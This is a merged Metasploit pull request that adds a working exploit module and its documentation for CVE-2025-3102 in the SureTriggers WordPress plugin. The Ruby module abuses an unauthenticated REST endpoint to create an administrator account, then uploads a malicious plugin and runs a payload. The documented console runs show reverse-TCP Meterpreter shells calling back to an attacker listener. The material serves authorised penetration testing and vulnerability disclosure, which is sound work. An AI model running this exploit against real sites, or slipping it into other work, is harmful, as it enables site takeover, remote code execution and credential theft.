Merge pull request #20146 from Chocapikk/wp_suretriggers_auth_bypass
Add WP SureTriggers ≤1.0.78 admin-creation & RCE module (CVE-2025-3102)
This commit is contained in:
@@ -26,7 +26,6 @@ learnpress
|
||||
loginizer
|
||||
masterstudy-lms-learning-management-system
|
||||
modern-events-calendar-lite
|
||||
modern-events-calendar-lite
|
||||
nextgen-gallery
|
||||
ninja-forms
|
||||
paid-memberships-pro
|
||||
@@ -45,6 +44,7 @@ simple-file-list
|
||||
slideshow-gallery
|
||||
sp-client-document-manager
|
||||
subscribe-to-comments
|
||||
suretriggers
|
||||
ultimate-member
|
||||
website-contact-form-with-file-upload
|
||||
woocommerce-abandoned-cart
|
||||
@@ -53,18 +53,17 @@ wordpress-mobile-pack
|
||||
wordpress-popular-posts
|
||||
work-the-flow-file-upload
|
||||
wp-automatic
|
||||
wpdiscuz
|
||||
wp-easycart
|
||||
wp-fastest-cache
|
||||
wp-file-manager
|
||||
wp-gdpr-compliance
|
||||
wp-mobile-detector
|
||||
wp-mobile-edition
|
||||
wp-symposium
|
||||
wp-symposium
|
||||
wp-time-capsule
|
||||
wp-ultimate-csv-importer
|
||||
wpdiscuz
|
||||
wps-hide-login
|
||||
wpshop
|
||||
wp-symposium
|
||||
wp-time-capsule
|
||||
wptouch
|
||||
wp-ultimate-csv-importer
|
||||
wysija-newsletters
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits an administrative user creation vulnerability in the
|
||||
WordPress SureTriggers plugin, versions <= 1.0.78 (CVE-2025-3102).
|
||||
The plugin exposes an unauthenticated REST endpoint (`automation/action`) that allows
|
||||
bypassing permission checks to create a new administrator account.
|
||||
|
||||
To replicate a vulnerable environment for testing:
|
||||
|
||||
1. Install WordPress using the provided Docker Compose configuration.
|
||||
2. Download and install the SureTriggers plugin v1.0.78:
|
||||
[https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip](https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip)
|
||||
3. Verify that the plugin is activated and accessible on the local network.
|
||||
4. No further configuration is required; vulnerability is present immediately upon activation.
|
||||
|
||||
## Docker Compose Configuration
|
||||
|
||||
```yaml
|
||||
services:
|
||||
|
||||
wordpress:
|
||||
image: wordpress:6.3.2
|
||||
restart: always
|
||||
ports:
|
||||
- 5555:80
|
||||
environment:
|
||||
WORDPRESS_DB_HOST: db
|
||||
WORDPRESS_DB_USER: chocapikk
|
||||
WORDPRESS_DB_PASSWORD: dummy_password
|
||||
WORDPRESS_DB_NAME: exploit_market
|
||||
volumes:
|
||||
- wordpress:/var/www/html
|
||||
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
|
||||
|
||||
db:
|
||||
image: mysql:5.7
|
||||
restart: always
|
||||
environment:
|
||||
MYSQL_DATABASE: exploit_market
|
||||
MYSQL_USER: chocapikk
|
||||
MYSQL_PASSWORD: dummy_password
|
||||
MYSQL_ROOT_PASSWORD: dummy_password
|
||||
volumes:
|
||||
- db:/var/lib/mysql
|
||||
|
||||
volumes:
|
||||
wordpress:
|
||||
db:
|
||||
```
|
||||
|
||||
Create a `custom.ini` file with:
|
||||
|
||||
```ini
|
||||
upload_max_filesize = 64M
|
||||
post_max_size = 64M
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start the environment:
|
||||
|
||||
```bash
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555)
|
||||
3. Confirm that SureTriggers v1.0.78 is active under **Plugins**
|
||||
4. Launch `msfconsole`
|
||||
5. Load the module:
|
||||
|
||||
```bash
|
||||
use exploit/multi/http/wp_suretriggers_auth_bypass
|
||||
```
|
||||
|
||||
6. Set `RHOSTS` to the target IP
|
||||
7. Optionally set `ST_AUTH` if you have an existing key
|
||||
8. Configure `WP_USER`, `WP_PASS`, `WP_EMAIL`
|
||||
9. Execute the exploit with `run`
|
||||
|
||||
## Options
|
||||
|
||||
* **RHOSTS**: Target IP address or hostname where WordPress is running.
|
||||
* **TARGETURI**: Base path to the WordPress installation (default is `/`).
|
||||
* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account that the exploit will create.
|
||||
By default these are randomly generated but you can set them to values of your choice, for example:
|
||||
|
||||
```bash
|
||||
set WP_USER eviladmin
|
||||
set WP_PASS Str0ngP@ss!
|
||||
set WP_EMAIL eviladmin@example.com
|
||||
```
|
||||
|
||||
* **ST_AUTH**: *(Optional)* If you have the plugin’s secret key (used in the `st_authorization` header),
|
||||
you can provide it here to authenticate the REST request.
|
||||
If left empty the module will send an empty header value, which still works on versions <= 1.0.78.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Successful Exploitation Against SureTriggers v1.0.78
|
||||
|
||||
**Setup:**
|
||||
|
||||
* Local WordPress instance with SureTriggers v1.0.78
|
||||
* Metasploit Framework
|
||||
|
||||
**Steps:**
|
||||
|
||||
1. Start `msfconsole`
|
||||
|
||||
2. Load the module:
|
||||
```bash
|
||||
use exploit/multi/http/wp_suretriggers_auth_bypass
|
||||
```
|
||||
3. Configure:
|
||||
```bash
|
||||
set RHOSTS 127.0.0.1
|
||||
set TARGETURI /
|
||||
set WP_USER eviladmin
|
||||
set WP_PASS Str0ngP@ss!
|
||||
run
|
||||
```
|
||||
|
||||
**Expected Results**:
|
||||
|
||||
With `php/meterpreter/reverse_tcp`:
|
||||
|
||||
```plaintext
|
||||
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://127.0.0.1:5555
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected WordPress version: 6.3.2
|
||||
[+] Detected suretriggers plugin version: 1.0.78
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting to create administrator user via auth bypass...
|
||||
[!] Primary endpoint failed or did not return success, trying fallback via rest_route...
|
||||
[+] Administrator created: sol_bash:k9R0ZwjRX5VBOBJ
|
||||
[*] Uploading malicious plugin for code execution...
|
||||
[*] Executing payload at /wp-content/plugins/wp_p2ash/ajax_efdsa.php...
|
||||
[*] Sending stage (40004 bytes) to 172.27.0.2
|
||||
[+] Deleted ajax_efdsa.php
|
||||
[+] Deleted wp_p2ash.php
|
||||
[+] Deleted ../wp_p2ash
|
||||
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.2:33924) at 2025-05-07 17:22:49 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : a6e792b1c252
|
||||
OS : Linux a6e792b1c252 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
|
||||
|
||||
```plaintext
|
||||
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > show targets
|
||||
|
||||
Exploit targets:
|
||||
=================
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 PHP In-Memory
|
||||
1 Unix In-Memory
|
||||
2 Windows In-Memory
|
||||
|
||||
|
||||
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/wp_suretriggers_auth_bypass) > run http://127.0.0.1:5555
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected WordPress version: 6.3.2
|
||||
[+] Detected suretriggers plugin version: 1.0.78
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Attempting to create administrator user via auth bypass...
|
||||
[!] Primary endpoint failed or did not return success, trying fallback via rest_route...
|
||||
[+] Administrator created: sol_bash:k9R0ZwjRX5VBOBJ
|
||||
[*] Uploading malicious plugin for code execution...
|
||||
[*] Executing payload at /wp-content/plugins/wp_ppqii/ajax_cqc8l.php...
|
||||
[*] Sending stage (3045380 bytes) to 172.27.0.2
|
||||
[+] Deleted ajax_cqc8l.php
|
||||
[+] Deleted wp_ppqii.php
|
||||
[+] Deleted ../wp_ppqii
|
||||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.27.0.2:54238) at 2025-05-07 17:24:10 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.27.0.2
|
||||
OS : Debian 11.8 (Linux 6.14.2-2-cachyos)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,221 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Payload::Php
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'WordPress SureTriggers Auth Bypass and RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78).
|
||||
It first creates a new administrator account via the unauthenticated REST endpoint,
|
||||
then uploads and executes a PHP payload using FileDropper for remote code execution.
|
||||
},
|
||||
'Author' => [
|
||||
'Michael Mazzolini (mikemyers)', # Vulnerability Discovery
|
||||
'Khaled Alenazi (Nxploited)', # PoC
|
||||
'Valentin Lobstein' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2025-3102'],
|
||||
['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
|
||||
['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => false,
|
||||
'Platform' => %w[unix linux win php],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'PHP In-Memory',
|
||||
{
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP
|
||||
# tested with php/meterpreter/reverse_tcp
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix In-Memory',
|
||||
{
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD
|
||||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows In-Memory',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2025-03-13',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]),
|
||||
OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]),
|
||||
OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]),
|
||||
OptString.new('ST_AUTH', [false, 'Value for st_authorization header', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
|
||||
|
||||
wp_version = wordpress_version
|
||||
print_status("Detected WordPress version: #{wp_version}") if wp_version
|
||||
|
||||
plugin = 'suretriggers'
|
||||
readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1')
|
||||
detected = readme&.details&.dig(:version)
|
||||
|
||||
if detected.nil?
|
||||
return CheckCode::Unknown("Unable to determine the #{plugin} plugin version.")
|
||||
end
|
||||
|
||||
detected_version = Rex::Version.new(detected)
|
||||
|
||||
if detected_version <= Rex::Version.new('1.0.78')
|
||||
return CheckCode::Appears("Detected #{plugin} version #{detected_version}")
|
||||
end
|
||||
|
||||
CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched")
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Attempting to create administrator user via auth bypass...')
|
||||
|
||||
create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action')
|
||||
headers = { 'st_authorization' => datastore['ST_AUTH'] }
|
||||
payload = user_payload.to_json
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => create_uri,
|
||||
'ctype' => 'application/json',
|
||||
'data' => payload,
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
unless res&.code == 200 && res.get_json_document&.dig('success')
|
||||
print_warning('Primary endpoint failed, trying fallback via rest_route...')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' => { 'rest_route' => '/sure-triggers/v1/automation/action' },
|
||||
'ctype' => 'application/json',
|
||||
'data' => payload,
|
||||
'headers' => headers
|
||||
)
|
||||
end
|
||||
|
||||
unless res&.code == 200 && res.get_json_document&.dig('success')
|
||||
fail_with(Failure::UnexpectedReply, 'User creation did not return success')
|
||||
end
|
||||
|
||||
print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
|
||||
|
||||
create_credential(
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: datastore['WP_USER'],
|
||||
private_type: :password,
|
||||
private_data: datastore['WP_PASS'],
|
||||
service_name: 'WordPress',
|
||||
address: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
protocol: 'tcp',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
|
||||
vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")
|
||||
|
||||
loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
|
||||
loot_path = store_loot(
|
||||
'wordpress.admin.created',
|
||||
'text/plain',
|
||||
datastore['RHOST'],
|
||||
loot_data,
|
||||
'wp_admin_credentials.txt',
|
||||
'WordPress Created Admin Credentials'
|
||||
)
|
||||
vprint_good("Loot saved to: #{loot_path}")
|
||||
|
||||
report_host(host: datastore['RHOST'])
|
||||
|
||||
report_service(
|
||||
host: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
proto: 'tcp',
|
||||
name: fullname,
|
||||
info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
|
||||
)
|
||||
|
||||
report_vuln(
|
||||
host: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
proto: 'tcp',
|
||||
name: 'SureTriggers WordPress Plugin Auth Bypass',
|
||||
refs: references,
|
||||
info: 'Unauthenticated admin creation via vulnerable REST API endpoint'
|
||||
)
|
||||
|
||||
cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
|
||||
upload_and_execute_payload(cookie)
|
||||
end
|
||||
|
||||
def user_payload
|
||||
{
|
||||
'integration' => 'WordPress',
|
||||
'type_event' => 'create_user_if_not_exists',
|
||||
'selected_options' => {
|
||||
'user_name' => datastore['WP_USER'],
|
||||
'password' => datastore['WP_PASS'],
|
||||
'user_email' => datastore['WP_EMAIL'],
|
||||
'role' => 'administrator'
|
||||
},
|
||||
'fields' => [],
|
||||
'context' => {}
|
||||
}
|
||||
end
|
||||
|
||||
def upload_and_execute_payload(auth_cookie)
|
||||
plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
|
||||
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
|
||||
zip = generate_plugin(plugin, payload_name.sub('.php', ''))
|
||||
|
||||
print_status('Uploading malicious plugin for code execution...')
|
||||
ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
|
||||
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok
|
||||
|
||||
payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
|
||||
print_status("Executing payload at #{payload_uri}...")
|
||||
register_files_for_cleanup(payload_name, "#{plugin}.php")
|
||||
register_dir_for_cleanup("../#{plugin}")
|
||||
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user